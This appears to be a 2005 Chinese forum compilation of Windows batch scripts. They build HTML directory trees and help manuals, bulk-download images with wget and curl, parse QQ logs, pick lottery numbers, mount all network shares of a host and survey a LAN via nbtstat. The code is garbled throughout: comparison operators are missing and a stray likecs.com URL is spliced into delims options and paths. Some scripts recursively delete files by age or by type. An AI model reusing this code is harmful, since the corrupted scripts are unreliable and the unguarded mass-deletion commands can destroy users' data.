进入目录,一层层点,嫌烦
tree命令只给看看。。不给点。。。我就是要点
tree命令的htm版
htm,css都没搞过,现学的,高手奸笑了
根目录下运行,测试,保存为tree_htm.cmd运行
@echo off
del tree.htm 2>nul
echo tree命令的htm版
echo.
echo by hitme 2005.7.3 hitme@xiahaixiao.com
echo.
echo 可直接点击进入6层内目录,完美主义者请自行修改
echo
echo.
echo 请稍候.............
>end.htm echo ^<head^>
>>end.htm echo ^<meta http-equiv="Content-Type" content="text/html^;
charset=gb2312" ^/^>
>>end.htm echo ^<style type="text/css"^>
>>end.htm echo ^<!--
>>end.htm echo a:active { text-decoration: none ; color: red ; font-
size: 12pt }
>>end.htm echo a:visited { text-decoration: none ; color: green ;
font-size: 12pt }
>>end.htm echo a:link { text-decoration: none ; font-size: 12pt }
>>end.htm echo --^>
>>end.htm echo ^</style^>
>>end.htm echo ^</head^>
>>end.htm echo ^<body^>
setlocal ENABLEDELAYEDEXPANSION
for /f "skip=2 delims=" %%i in ('tree') do (
set n=%%i
if "!n:~1,1!" ":" set n0=!n:~0,2!
if "!n:~1,1!" "─" (set n1=!n:~2!
set n2
set n3
set n4
set n5
set n6
set n7=)
if "!n:~4,1!" "─" (set n2=!n:~5!
set n3
set n4
set n5
set n6
set n7=)
if "!n:~5,1!" "─" (set n2=!n:~6!
set n3
set n4
set n5
set n6
set n7=)
if "!n:~7,1!" "─" (set n3=!n:~8!
set n4
set n5
set n6
set n7=)
if "!n:~8,1!" "─" (set n3=!n:~9!
set n4
set n5
set n6
set n7=)
if "!n:~9,1!" "─" (set n3=!n:~10!
set n4
set n5
set n6
set n7=)
if "!n:~10,1!" "─" (set n4=!n:~11!
set n5
set n6
set n7=)
if "!n:~11,1!" "─" (set n4=!n:~12!
set n5
set n6
set n7=)
if "!n:~12,1!" "─" (set n4=!n:~13!
set n5
set n6
set n7=)
if "!n:~13,1!" "─" (set n5=!n:~14!
set n6
set n7=)
if "!n:~14,1!" "─" (set n5=!n:~15!
set n6
set n7=)
if "!n:~15,1!" "─" (set n5=!n:~16!
set n6
set n7=)
if "!n:~16,1!" "─" (set n5=!n:~17!
set n6
set n7=)
if "!n:~17,1!" "─" (set n6=!n:~18!)
if "!n:~18,1!" "─" (set n6=!n:~19!)
if "!n:~19,1!" "─" (set n6=!n:~20!)
if "!n:~20,1!" "─" (set n6=!n:~21!)
set n=!n: =^ !
>>end.htm echo ^<a href="http://www.likecs.com/!n0!\!n1!\!n2!\!n3!\!n4!\!n5!\!n6!"
target="_blank"^>!n!^</a^>
>>end.htm echo ^</br^>
)
for /f "delims=" %%i in (end.htm) do (
set x=%%i
for /l %%a in (1,1,5) do (
set x=!x:\\=\!
)
echo !x!>>tree.htm
)
endlocal
del end.htm
start tree.htm
tree_htm.rar
15. wget
hxxp://www.sergeaura.net/TGP/001/images/01.jpg
...
hxxp://www.sergeaura.net/TGP/001/images/12.jpg
......
......
......
hxxp://www.sergeaura.net/TGP/162/images/01.jpg
...
hxxp://www.sergeaura.net/TGP/162/images/12.jpg
curl cmd下运行
curl -o #1_#2.jpg hxxp://www.sergeaura.net/TGP/[001-162]/images/[01-
12].jpg
wget+for......九阳神功,内功部分稍显复杂,打通2脉后,功力日进。保存
为get.cmd运行
setlocal ENABLEDELAYEDEXPANSION
for /l %%i in (1001,1,1162) do for /l %%j in (101,1,112) do @(
set s=%%i
set t=%%j
wget -O !s:~1,3!!t:~1,2!.jpg
hxxp://www.sergeaura.net/TGP/!s:~1,3!/images/!t:~1,2!.jpg)
endlocal
wget.zip
16.
for /r %I in (*.*) do echo %~fnI >> c:\列表.txt
简单: tree /f
17. QQ 3
1.查看长期没联系的QQ好友,方便删除 比如3个月内没和你说话
设导出的混在一起聊天记录为qq.txt
-------------------------------------------
findstr "消息对象:" qq.txt >联系人.txt
for /f "tokens=2 delims=()" %i in (联系人.txt) do findstr "2004-0[5-
7]-" qq.txt ^ | find "%i"|| echo %i >>结果.txt
2.提取msn 联系人email列表 方便导入邮件收发软件
设导出的文件为msn.ctt,list.csv为结果
for /f "tokens=3 delims=<>" %%i in (msn.ctt) do echo %%i >>list.csv
1,导出总谈话记录
2,为了最大兼容,把qq.txt拷贝到C盘根目录
3,运行 -CMD(XP) 或者 windows 98 进入dos 状态
4,输入
findstr "消息对象:" qq.txt >联系人.txt
回车
5,输入
for /f "tokens=2 delims=()" %i in (联系人.txt) do findstr "2004-0[5-
7]-" qq.txt ^ | find "%i"|| echo %i >>结果.txt
回车
6,等待
引用回复
18. 357
吃完饭,mm要我给折腾个35选7的选号器,去试试运气,我运气很背的,买了
5,6w了,基本没中300以上过,写的东西不知道背不背
思路是:
构造1-35数字的文本行,每行一个,同时加上3位的随机数
例如
234:1
214:2
523:3
...
然后对此文本排序,取前7个数字,完成
年纪大了,两瓶啤酒下去,就有点晕了。。。有兴趣的试试
保存为35x7.cmd运行
@echo off
:start
del tmp.txt 2>nul
for /l %%i in (1,1,35) do (
setlocal ENABLEDELAYEDEXPANSION
for /l %%a in (1,1,3) do (
echo %random% >nul
set m=!m!!random:~-1!
)
echo !m!:%%i>>tmp.txt
endlocal
)
setlocal ENABLEDELAYEDEXPANSION
set /a num=0
for /f "tokens=2 delims=:" %%i in ('sort tmp.txt') do (
set n=%%i
set m=!m! !n!
set /a num=!num!+1
if !num! 7 echo 本期35选7的中奖号码是: !m:~1! && goto :save
)
:save
set /p x=保留号码至num.txt[y/n]
if /i [%x%] [y] (echo !m:~1!>>num.txt && endlocal && goto :start)
else (endlocal && goto :start)
35x7.rar
19.
保存为xx.cmd文档目录下运行,再次运行恢复
@echo off
setlocal ENABLEDELAYEDEXPANSION
for /f "delims=" %%i in ('dir /s/b *.doc') do (
set n=%%~ni
set r_name=%%~ni
set t_name
for /l %%a in (1,1,100) do (
set n1=!n:~0,1!
set n=!n:~1!
set t_name=!n1!!t_name!
if "!n!" "" (
cd "%%~dpi"
ren "!r_name!.doc" "!t_name!.doc" 2>nul>nul
)
)
)
endlocal
xx.rar
20. htm-----CMD
这是基础了。。。格式简单,构造起来较容易
cmd查查也方便 如:help dir
有人需要就造个htm手册玩玩
保存为cmd_help.cmd运行
@echo off
del net_cmd_help.htm 2>nul
echo.
echo......请稍候,构造htm文件中.....
echo.
>cmd_help.htm echo ^<head^>
>>cmd_help.htm echo ^<title^>Help for Net commands^</title^>
>>cmd_help.htm echo ^<meta http-equiv="Content-Type"
content="text/html^; charset=gb2312" ^/^>
>>cmd_help.htm echo ^</head^>
>>cmd_help.htm echo ^<A^>
>>cmd_help.htm echo ^<center^>
>>cmd_help.htm echo ^<h1^>CMD 命令速查手册^</h1^>
>>cmd_help.htm echo Written by Hitme
>>cmd_help.htm echo ^</center^>
>>cmd_help.htm echo ^<br^>
ver|find "Windows XP" && goto:joke
for /f "tokens=1*" %%i in ('help^|more +3') do (
help %%i>nul && echo ^<a href="#%%i"^>%%i^</a^>^ ^ %%j
>>cmd_help.htm || echo ^ ^ ^ ^ %%i
%%j>>cmd_help.htm
>>cmd_help.htm echo ^</br^>
)
for /f %%i in ('help^|more +3') do (
help %%i>nul && (
>>cmd_help.htm echo ^<a^>
>>cmd_help.htm echo ^<h2^>%%i^</h2^>
>>cmd_help.htm echo ^<pre^>
help %%i>>cmd_help.htm
>>cmd_help.htm echo ^</pre^>
>>cmd_help.htm echo ^<a href="#top"^>返回页首^</a^>
)
)
start cmd_help.htm
goto:eof
:joke
for /f "tokens=1*" %%i in ('help^|more +1') do (
help %%i>nul && echo ^ ^ ^ ^ %%i
%%j>>cmd_help.htm || echo ^<a
href="#%%i"^>%%i^</a^>^ ^ %%j >>cmd_help.htm
>>cmd_help.htm echo ^</br^>
)
for /f %%i in ('help^|more +1') do (
help %%i>nul || (
>>cmd_help.htm echo ^<a^>
>>cmd_help.htm echo ^<h2^>%%i^</h2^>
>>cmd_help.htm echo ^<pre^>
help %%i>>cmd_help.htm
>>cmd_help.htm echo ^</pre^>
>>cmd_help.htm echo ^<a href="#top"^>返回页首^</a^>
)
)
start cmd_help.htm
cmd_help.rar
21. htm-----Net
net /?
net view /help
查看太烦,倒腾个手册玩玩
保存为make.cmd运行
@echo off
del net_help.htm 2>nul
echo.
echo......请稍候,构造htm文件中.....
echo.
setlocal ENABLEDELAYEDEXPANSION
for /f "tokens=1,2 delims=:" %%i in ('net help^|more +9^|findstr /n
"."') do (
set n=%%j
if %%i gtr 0 (if %%i lss 10 (
echo !n:~3,22!>>tmp.txt
echo !n:~28,14!>>tmp.txt
echo !n:~50,14!>>tmp.txt
)
)
)
for /f "delims=" %%i in ('sort tmp.txt') do (
set x=%%i
set x=!x: =!
set x=!x:CONFIGWORKSTATION=CONFIG WORKSTATION!
set x=!x:CONFIGSERVER=CONFIG SERVER!
set x=!x:NET=NET !
echo !x!>>tmp1.txt
)
endlocal
>net_help.htm echo ^<head^>
>>net_help.htm echo ^<title^>Help for Net commands^</title^>
>>net_help.htm echo ^<meta http-equiv="Content-Type"
content="text/html^; charset=gb2312" ^/^>
>>net_help.htm echo ^</head^>
>>net_help.htm echo ^<A^>
>>net_help.htm echo ^<center^>
>>net_help.htm echo ^<h1^>Net 命令速查手册^</h1^>
>>net_help.htm echo Written by Hitme
>>net_help.htm echo ^</center^>
for /f "delims=" %%i in (tmp1.txt) do (
>>net_help.htm echo ^<a href="#%%i"^>%%i^</a^>
>>net_help.htm echo ^</br^>
)
for /f "delims=" %%i in (tmp1.txt) do (
>>net_help.htm echo ^<a^>
>>net_help.htm echo ^<h2^>%%i^</h2^>
>>net_help.htm echo ^<pre^>
%%i /help|more /s>>net_help.htm
>>net_help.htm echo ^</pre^>
>>net_help.htm echo ^<a href="#top"^>返回页首^</a^>
)
del tmp*.txt
start net_help.htm
net_help.rar
make.rar
22. 297
@echo off
:start
setlocal ENABLEDELAYEDEXPANSION
:loop
del tmp.txt 2>nul
for /l %%i in (1,1,7) do (
echo %random% >nul
set /a m%%i=!random:~-1!+1
set /a m%%i=!m%%i!/4
set /a m%%i=!m%%i:~0,1!
echo %random% >nul
set /a n%%i=!random:~-1!
if !m%%i!!n%%i! 00 goto:loop
findstr /m "!m%%i!!n%%i!" tmp.txt 2>nul >nul && goto :loop
echo !m%%i!!n%%i!>>tmp.txt
)
endlocal
setlocal ENABLEDELAYEDEXPANSION
for /f %%i in ('sort tmp.txt') do (
set n=%%i
set m=!m! !n!
)
del tmp.txt
cls
echo.
echo.¥100000000000000000000000000000000000000000.00
echo.
echo. Hitme,29选7必中,号码是 !m!
echo.
echo.¥100000000000000000000000000000000000000000.00
echo.
set /p x=保留号码至num.txt[y/n]
if /i [%x%] [y] (echo !m!>>num.txt && endlocal && goto :start) else
(endlocal && goto :start)
29x7.rar
23. 6+1
@echo off
setlocal ENABLEDELAYEDEXPANSION
cls
del num.txt 2>nul
:loop
for /l %%i in (1,1,7) do (
echo %random% >nul
set n%%i=!random:~-1!
)
set num=%n1%%n2%%n3%%n4%%n5%%n6%%n7%
echo.
echo.***********************************
echo Hitme,6+1必中,号码是%num%
echo.***********************************
echo.
set /p x=保留号码至num.txt[y/n]
if /i %x% y (echo %num%>>num.txt && goto :loop) else (goto :loop)
endlocal
6+1.rar
24.
@echo off
:start
setlocal ENABLEDELAYEDEXPANSION
:loop_a
del tmp*.txt 2>nul
for /l %%i in (1,1,6) do (
echo %random% >nul
set /a s%%i=!random:~-1!
echo %random% >nul
set /a g%%i=!random:~-1!
if "!s%%i!" "0" (set /a _VAR_=!g%%i! / 3) else (set /a
_VAR_=!s%%i!!g%%i! / 3)
if "!_VAR_:~1,1!" "" set _VAR_=0!_VAR_!
findstr /m "!_VAR_!" tmp.txt 2>nul >nul && goto :loop_a
if "!_VAR_!" "00" (echo 33>>tmp.txt) else (echo !_VAR_!>>tmp.txt)
)
sort tmp.txt>tmp1.txt
endlocal
:loop_b
setlocal ENABLEDELAYEDEXPANSION
echo %random% >nul
set /a s=!random:~-1!
echo %random% >nul
set /a g=!random:~-1!
if "!s!" "0" (set /a _VAR_=!g! / 6) else (set /a _VAR_=!s!!g! / 6)
if "!_VAR_:~1,1!" "" set _VAR_=0!_VAR_!
echo ^|>>tmp1.txt
if "!_VAR_!" "00" (echo 16>>tmp1.txt) else (echo !_VAR_!>>tmp1.txt)
endlocal
:echo
setlocal ENABLEDELAYEDEXPANSION
for /f %%i in (tmp1.txt) do (
set n=%%i
set m=!m! !n!
)
del tmp*.txt
cls
echo.
echo.¥1000000000000000000000000000000000000000000.00
echo.
echo. Hitme,双色球必中,号码是 !m!
echo.
echo.¥1000000000000000000000000000000000000000000.00
echo.
:save
set /p x=保留号码至num.txt[y/n]
if /i [%x%] [y] (echo !m!>>num.txt && endlocal && goto :start) else
(endlocal && goto :start)
ab.rar
25. &
for windows2000+
@echo off
:run
for /F "tokens=2" %%i in ('netstat -e ^| find "Bytes"') do set
down1=%%i
for /F "tokens=3" %%i in ('netstat -e ^| find "Bytes"') do set
up1=%%i
ping -w 850 -n 1 1.1.1.1 2>nul >nul
for /F "tokens=2" %%i in ('netstat -e ^| find "Bytes"') do set /a
down=(%%i-%down1%)/1024
for /F "tokens=3" %%i in ('netstat -e ^| find "Bytes"') do set /a
up=(%%i-%up1%)/1024
cls
echo Down %down% KB
echo Up %up% KB
title %down% KB Down %up% KB Up
goto:run
@echo off
start /wait regedit /e tmp1.txt
"HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices\"
for /f "tokens=3 delims=\:" %%i in ('find "\\DosDevices\\"
tmp1.txt') do echo %%i >>tmp2.txt
setlocal ENABLEDELAYEDEXPANSION
for %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do find "%%i" tmp2.txt 2>nul >nul|| set n=!n!:,%%i
echo freedrv=!n:~2!
endlocal
pause
att-1.rar
26. TOP10
功能:列出特定目录下最新目录名TOP10
可以利用ftp登录显示最近更新的东西,方便抓取特定目录到最近更新的目录
测试
用法,cmd下
t_ls /top数量 目录名
1,以为if不能else,原来else (要带个空
2,%var:~n,m%
3,more +n| 去掉前几行,嘿,在管道里没有more作用
4,setlocal ENABLEDELAYEDEXPANSION ,在for里可以用累“加”了。
5,%var:string1=string2% 替换
6,!var! 用在delayedexpansion
@echo off
cls
echo.
echo.....列表中....请少等
echo.
if "%1" "" goto :syntax
if "%1" "/?" goto :syntax
if "%1" "http://www.likecs.com/" goto :syntax
if "%1" "?" goto :syntax
if "%1" "/help" goto :syntax
setlocal ENABLEDELAYEDEXPANSION
:input
set n=%1
if "%n:~0,1%" "http://www.likecs.com/" (
for /l %%i in (0,1,%n:~1%) do set var=!var! %%i:.
set m=%*
set m=!m:%n% =!) else (
for /l %%i in (0,1,10) do set var=!var! %%i:.
set m=%*
)
:head
(echo.^<head^>
echo.^<title^>列表目录下最新目录名TOP10^</title^>
echo.^<meta http-equiv="Content-Type" content="text/html^;
charset=gb2312" ^/^>
echo.^<style type="text/css"^>
echo.^<!--
echo.a:active { text-decoration: none ; color: red ; font-size: 12pt
}
echo.a:visited { text-decoration: none ; color: green ; font-size:
12pt }
echo.a:link { text-decoration: none ; font-size: 12pt }
echo.--^>
echo.^</style^>
echo.^</head^>
echo.^<h1^> 列表目录下最新目录名TOP10 ^</h1^>
echo. written by hitme 2005.9.3
echo.^</br^>)>list.htm
:list
for /f "delims=" %%i in ('dir "!m!\" /ad/b/tc/o-d^|more +0') do ((echo.-----------------------------------
echo.^</br^>
echo.^<a href="http://www.likecs.com/!m!\%%i"^>"http://www.likecs.com/!m!\%%i"^</a^>
echo.^</br^>
echo.^</br^>)>>list.htm
for /f "tokens=1-5* delims=: " %%a in ('dir "http://www.likecs.com/!m!\%%i"
/ad/tc/o-d^|more +5^|findstr /v /c:"<DIR> ."^|findstr /n
"."^|findstr /r /b "!var!" ') do (
if "%%f" neq "" (
>>list.htm echo.^<a href="http://www.likecs.com/!m!\%%i\%%f"^>%%a:
%%b %%c:%%d %%f^</a^>
>>list.htm echo.^</br^>)
)
)
start list.htm
endlocal
goto:eof
:syntax
cls
echo.
echo.T_ls.cmd
echo.
echo.written by hitme 2005.9.3
echo.
echo.用法:
echo. t_ls /top数量 目录名
echo.
echo.例如:
echo. t_ls c:windows
echo. t_ls /20 c:
echo.
T_ls-1.rar
27.
renx.rar
28.
今天格了盘,忘了备绿色/准绿色程序的快截方式,目录进进出出实在烦
explorer搜索*.exe,右键拖出快捷方式,受到非入口exe的干扰,迷眼睛啊
想办法呀,想办法呀,cmd滤一下
两个策略:
1,枚举路径,如本层路径下存在有exe文件,则不深入到下一层
2,滤出上次访问时间最新的exe文件,就当它是入口吧,眼睛是我们宝贵的辩识
力量
偶然发现的好处:
1.发掘出了几个压箱底的东东
2.如本身有较好的分类,稍改下cmd,也能实现lnk的自动分类
@echo off
echo.
echo.
echo.批量跑出程序的快捷方式.cmd by hitme 2005.5.11
echo.
echo.稍等...
:P1
::***********************************************************
::#列表路径
::#滤镜1:路径下存在有exe文件
::#滤镜1:枚举路径,如本层路径下存在有exe文件,则不深入到下一层
::***********************************************************
setlocal ENABLEDELAYEDEXPANSION
for /f "delims=" %%i in ('dir /s/b *.exe ^| findstr /v /i
"shortcut\.exe$"') do (
find "%%~dpi" tmp.txt>nul || (
echo %%~dpi | find "!n!">nul || (
echo %%~dpi>>tmp.txt
set n=%%~dpi
)
)
)
endlocal
:P2
::***********************************************************
::#以P1路径列表为原料,继续加工
::#过滤上次访问时间最新的exe文件
::***********************************************************
for /f "delims=" %%i in (tmp.txt) do (
dir /ta "%%i*.exe" | sort /r | findstr /n "." |
findstr /r "^1:">>tmp1.txt
)
:P3
::***********************************************************
::#同行合并P1,P2=>list.txt
::***********************************************************
set /a N1=0
for /f %%i in (tmp.txt) do set /a N1+=1
for /l %%a in (1,1,%N1%) do (
for /f "tokens=1* delims=:" %%i in ('findstr /n "." tmp.txt
^|findstr /r "^%%a:"') do set dir=%%j
for /f "tokens=3*" %%i in ('findstr /n "." tmp1.txt ^|findstr /r
"^%%a:"') do set filename=%%j
setlocal ENABLEDELAYEDEXPANSION
echo !dir!!filename!
echo !dir!!filename!>>list.txt
endlocal
)
:shortcut
::***********************************************************
::#依据list.txt路径列表,创建link
::***********************************************************
pause
for /f "delims=" %%i in (list.txt) do (
shortcut -d %%~dpi "%%i"
)
:clean
::***********************************************************
::#打扫卫生
::***********************************************************
del tmp*.txt list.txt 2>nul
creat_shortcut.rar
29. n
copy自yesterday.vbs
搞不明白如何将vbs变量传递给cmd变量,算了,用
for...('cscript.exe..)..来取了
用法:cmd下
del_day 5
删除文件修改时间为5天前的文件,测试,删除操作务必谨慎
@echo off
>t_day.vbs echo ' Yesterday.vbs, Version 1.01
>>t_day.vbs echo '
>>t_day.vbs echo ' Written by Rob van der Woude
>>t_day.vbs echo '
>>t_day.vbs echo '
>>t_day.vbs echo ' Calculate yesterday's date
>>t_day.vbs echo dtmYesterday = DateAdd("d",-%1,Date)
>>t_day.vbs echo '
>>t_day.vbs echo ' Get yesterday's year
>>t_day.vbs echo strYear = DatePart("yyyy",dtmYesterday)
>>t_day.vbs echo '
>>t_day.vbs echo ' Get yesterday's month, add leading zero if
necessary
>>t_day.vbs echo If DatePart("m",dtmYesterday) ^< 10 Then
>>t_day.vbs echo strMonth = 0 ^& DatePart("m",dtmYesterday)
>>t_day.vbs echo Else
>>t_day.vbs echo strMonth = DatePart("m",dtmYesterday)
>>t_day.vbs echo End If
>>t_day.vbs echo '
>>t_day.vbs echo ' Get yesterday's day, add leading zero if
necessary
>>t_day.vbs echo If DatePart("d",dtmYesterday) ^< 10 Then
>>t_day.vbs echo strDay = 0 ^& DatePart("d",dtmYesterday)
>>t_day.vbs echo Else
>>t_day.vbs echo strDay = DatePart("d",dtmYesterday)
>>t_day.vbs echo End If
>>t_day.vbs echo '
>>t_day.vbs echo ' Format output for yesterday
>>t_day.vbs echo strYest = strYear ^& strMonth ^& strDay
>>t_day.vbs echo '
>>t_day.vbs echo ' echo
>>t_day.vbs echo Wscript.echo( strYest )
@echo on
for /f "delims=" %%i in ('cscript.exe //nologo t_day.vbs') do set
t_day=%%i
setlocal ENABLEDELAYEDEXPANSION
for /r %%i in (*.*) do set c_day=%%~ti && if
"!c_day:~0,2!!c_day:~3,2!!c_day:~6,2!" lss "%t_day:~2,6%" del /q
"%%i"
endlocal
cls
@echo
@echo 删除完毕.
@echo
30. “”
以明星写真为例;?s
保存为.cmd运行,albumid从595到2210
@echo off
set /a _n_=595
:loop
curl -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" -o
tmp.txt
?s=^&cataid=4^&albumid=2202^
&imageid=8^&type=jpeg
for /f "tokens=4 delims &" %%i in ('findstr
"cataid=4&albumid=2202&imageid=8&type=jpeg" tmp.txt') do (
set _session_=%%i
)
set /a _n_=%_n_%+1
if %_n_% 2210 goto :clean
md %_n_%
del /q *.jpg 2>nul
:dl
for /l %%a in (1,1,9) do (
curl -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" -o
%_n_%_00%%a.jpg
?imagesession=%_session_%^&cat
aid=4^&albumid=%_n_%^&imageid=%%a^&type=jpeg
for %%i in (%_n_%_*.jpg) do (
if %%~zi 11527 (goto :loop) else move *.jpg %_n_%
)
)
for /l %%a in (10,1,99) do (
curl -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" -o
%_n_%_0%%a.jpg
?imagesession=%_session_%^&cat
aid=4^&albumid=%_n_%^&imageid=%%a^&type=jpeg
for %%i in (%_n_%_*.jpg) do (
if %%~zi 11527 (goto :loop) else move *.jpg %_n_%
)
)
for /l %%a in (100,1,999) do (
curl -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" -o
%_n_%_%%a.jpg
?imagesession=%_session_%^&cat
aid=4^&albumid=%_n_%^&imageid=%%a^&type=jpeg
for %%i in (%_n_%_*.jpg) do (
if %%~zi 11527 (goto :loop) else move *.jpg %_n_%
)
)
:clean
for /r %%i in (.) do rd /q "%%i"
del /q *.jpg
del /q tmp.txt
dl-1.rar
31.
对象:
?si=&perpage=24&sort
1&cat=501&ppuser
目标:得到图片url,方便flashget批量下载
简单看下页面:连接有分大中小图,规模为12*41张左右
思路:
curl抓取41个缩略页面,分析出缩略图url
由于图片命名具有规律,缩掠与大图的区别在于结尾
thumb.gif -thumb.jpg =缩略图
.gif .jpg =大图
med.jpg =中图
这下更简单了,抓取时,替换部分url内容即可
保存为.cmd运行
需要curl
@echo off
curl -o #1.htm
?cat=501^&si=^&page=[
1-41]^&sort=1^&perpage=12^&password=0^&ppuser=^&what=^&name=^&
setlocal ENABLEDELAYEDEXPANSION
for /f "tokens=9 delims " %%i in ('findstr /r
"http://www\.sophoto\.cn/photopost/data/" *.htm') do (
set n=%%i
set n=!n:-thumb.gif" alt=.gif!
set n=!n:-thumb.jpg" alt=.jpg!
set n=!n:-thumb.jpeg" alt=.jpeg!
set n=!n:"=!
echo !n! >>list.txt
)
endlocal
del *.htm
start list.txt
list.txt
32.
下载的100多部漫画
毛估有几十万张的漫画图片
需要curl
33.
述求:批量下载中的每日图片
图片都是这个格式
开工:
1.找文件名规律,gif文件名有两位随机位,碰壁
2.查看htm文件
,?cDay=09&cMonth=05&cY
ear=2005,带年月日,有规律真好
3.列表年月日,备用
4.出动curl,下载htm,分析htm,下载gif
5.收工
保存为get_gif.cmd运行,自行修改红色部分,现表示下载前10天的gif文件
需要curl
@echo off
::/ * list date */
set /a n=0
:loop
set /a n+=1
>t_day.vbs echo ' Yesterday.vbs, Version 1.01
>>t_day.vbs echo '
>>t_day.vbs echo ' Written by Rob van der Woude
>>t_day.vbs echo '
>>t_day.vbs echo '
>>t_day.vbs echo ' Calculate yesterday's date
>>t_day.vbs echo dtmYesterday = DateAdd("d",-%n%,Date)
>>t_day.vbs echo '
>>t_day.vbs echo ' Get yesterday's year
>>t_day.vbs echo strYear = DatePart("yyyy",dtmYesterday)
>>t_day.vbs echo '
>>t_day.vbs echo ' Get yesterday's month, add leading zero if
necessary
>>t_day.vbs echo If DatePart("m",dtmYesterday) ^< 10 Then
>>t_day.vbs echo strMonth = 0 ^& DatePart("m",dtmYesterday)
>>t_day.vbs echo Else
>>t_day.vbs echo strMonth = DatePart("m",dtmYesterday)
>>t_day.vbs echo End If
>>t_day.vbs echo '
>>t_day.vbs echo ' Get yesterday's day, add leading zero if
necessary
>>t_day.vbs echo If DatePart("d",dtmYesterday) ^< 10 Then
>>t_day.vbs echo strDay = 0 ^& DatePart("d",dtmYesterday)
>>t_day.vbs echo Else
>>t_day.vbs echo strDay = DatePart("d",dtmYesterday)
>>t_day.vbs echo End If
>>t_day.vbs echo '
>>t_day.vbs echo ' Format output for yesterday
>>t_day.vbs echo strYest = strYear ^& strMonth ^& strDay
>>t_day.vbs echo '
>>t_day.vbs echo ' echo
>>t_day.vbs echo Wscript.echo( strYest )
for /f "delims=" %%i in ('cscript.exe //nologo t_day.vbs') do echo
%%i>>tmp.txt
if %n% neq 10 goto :loop
::/ * get htm&gif * /
for /f "delims=" %%i in (tmp.txt) do (
setlocal ENABLEDELAYEDEXPANSION
set n=%%i
curl -o !n!.htm
?cDay=!n:~-
2!^&cMonth=!n:~4,2!^&cYear=!n:~0,4!
for /f "tokens=4 delims " %%j in ('findstr "log" *.htm') do (
set m=%%j
curl -o !m:~5,-5! !m:~1,-5!
)
del *.htm
endlocal
)
::/ * clean * /
del tmp.txt
get_gif.rar
34.
7.9更新,支持分次下载
这里面的汽车图片不错.想办法把它全部下载下来
测试下,保存为dl.cmd运行
需要curl
@echo off
setlocal ENABLEDELAYEDEXPANSION
for /f "tokens=2 delims " %%i in ('curl
^|findstr
"automotive_catalog"') do (
set n=%%i
curl !n:~1,-7! |findstr
"automobile_gallery" >tmp.txt
for /f "tokens=2 delims " %%a in (tmp.txt) do (
set m=%%a
curl !m:~4,-7!/index.html |findstr "jpg"
>tmp1.txt
set x=!n:~1,-7!!m:~4,-7!
set x=!x:/=\!
md !x! 2>nul
for /f "tokens=2 delims " %%b in (tmp1.txt) do (
set l=%%b
if not exist "!x!\!l:~1,-10!" curl -o "!x!\!l:~1,-10!"
!m:~4,-7!!l:~1,-10!
)
)
)
endlocal
del tmp*.txt
dl.rar
35. txt
有时候不太方便先cut©去别处,再del,又想要一点点自动化感觉的
cmd下
for /f "delims=http://www.likecs.com/" %i in ('dir /b/s *.*') do dir /b/s *.txt | find
"%i" || del "%i"
需保留下数种类型?
例:保留txt rar
for /f "delims=http://www.likecs.com/" %i in ('dir /b/s *.*') do dir /b/s *.txt *.rar|
find "%i" || del "%i"
36.
功能:挂接网络中某主机(例如:192.168.1.99)的全部共享为网络驱动器
用法:cmd下运行mntshare /?
net view \\ip的输出太过bt
共享名过长时列表错行,共享名含空格又造成for抓取困难(字段间隔非跳格键
,而是空格)
就是要搞翻它。。。
出个嗖招:利用了类型Disk字段定位,把文本行翻过来,替换,倒回去。。
呵呵,坚持,坚持就是胜利,测试下
顺便感慨下。。。裸奔cmd的文本替换能力太肉了..
想想还是吃饱了撑的, xp以后的系统都带自动扫描了,给2000顶一顶好了
@echo off
echo.主机%1共享挂接中.........
del tmp.txt 2>nul
if "%1" "" goto :syntax
if "%1" "/?" goto :syntax
if "%1" "http://www.likecs.com/" goto :syntax
if "%1" "?" goto :syntax
if "%1" "/help" goto :syntax
setlocal ENABLEDELAYEDEXPANSION
for /f "delims=" %%i in ('net view \\%1 ^|more +7') do (
set n=%%i
set r_n
for /l %%a in (1,1,40) do (
if "!n!" "" set n
set n1=!n:~0,1!
set n=!n:~1!
set r_n=!n1!!r_n!
)
set r_n=!r_n:*ksiD=!
echo !r_n!>>tmp.txt
)
for /f "tokens=*" %%j in (tmp.txt) do (
set m=%%j
set r_m
for /l %%b in (1,1,40) do (
if "!m!" "" net use * "\\%1\!r_m!" /persistent:yes 2>nul >nul
set m1=!m:~0,1!
set m=!m:~1!
set r_m=!m1!!r_m!
)
)
endlocal
cls
echo.
echo.挂接主机%1共享完成。
echo.
net use |more +5
pause
del tmp.txt 2>nul
explorer /e
:syntax
cls
echo.
echo.mntshare.cmd 挂接网络共享cmd脚本
echo.
echo.written by hitme 2005.8.16
echo.
echo.用法:
echo.mntshare ip或者主机名
echo.
echo.例如:
echo.mntshare 192.168.1.99
echo.mntshare mycomputer
echo.
echo.删除挂接请使用 net use * /delete
echo.
pause
mntshare.rar
37. ()
闲来无聊,瞎搞个简易网络信息搜集
现包括
1.IP与Mac Address对应表
2.IP与Hostname对应表
3.IP与Workgroup对应表
4.查询WHO是主控域浏览器?
全部基于nbtstat命令,闹着玩
@echo off
setlocal
:menu
cls
mode con:cols=80 lines=25
title 网络信息搜集(简易)
color f2
echo.
echo.***********************
echo. 网络信息搜集(简易)
echo.***********************
echo.1.IP与Mac Address对应表
echo.
echo.2.IP与Hostname对应表
echo.
echo.3.IP与Workgroup对应表
echo.
echo.
echo.4.查询WHO是主控域浏览器?
echo.
echo.
echo.x.退出
echo.---------------------------------------------------------------
---
:input
set /p x=请选择项目号:
if /i "%x%" "x" goto :end
echo.
set /p y=请输入IP范围(例如:192.168.1.1-254):
for /f "tokens=1-5 delims=.-" %%a in ("%y%") do (
set ip=%%a.%%b.%%c
set n1=%%d
set n2=%%e
)
if "%x%" "1" goto :mac
if "%x%" "2" goto :hostname
if "%x%" "3" goto :group
if "%x%" "4" goto :msbrowse
endlocal
::------------------------------------------------------------------
-----------
:mac
setlocal
cls
mode con:cols=40 lines=40
color f4
title IP与Mac Address对应表
echo.IP ^<=^> MAC Address's Table
echo.
(
echo.IP ^<=^> MAC Address's Table
echo.
) >mac.txt
for /l %%i in (%n1%,1,%n2%) do (
ping -n 1 -w 1 %ip%.%%i |find "Reply" >nul 2>nul && (
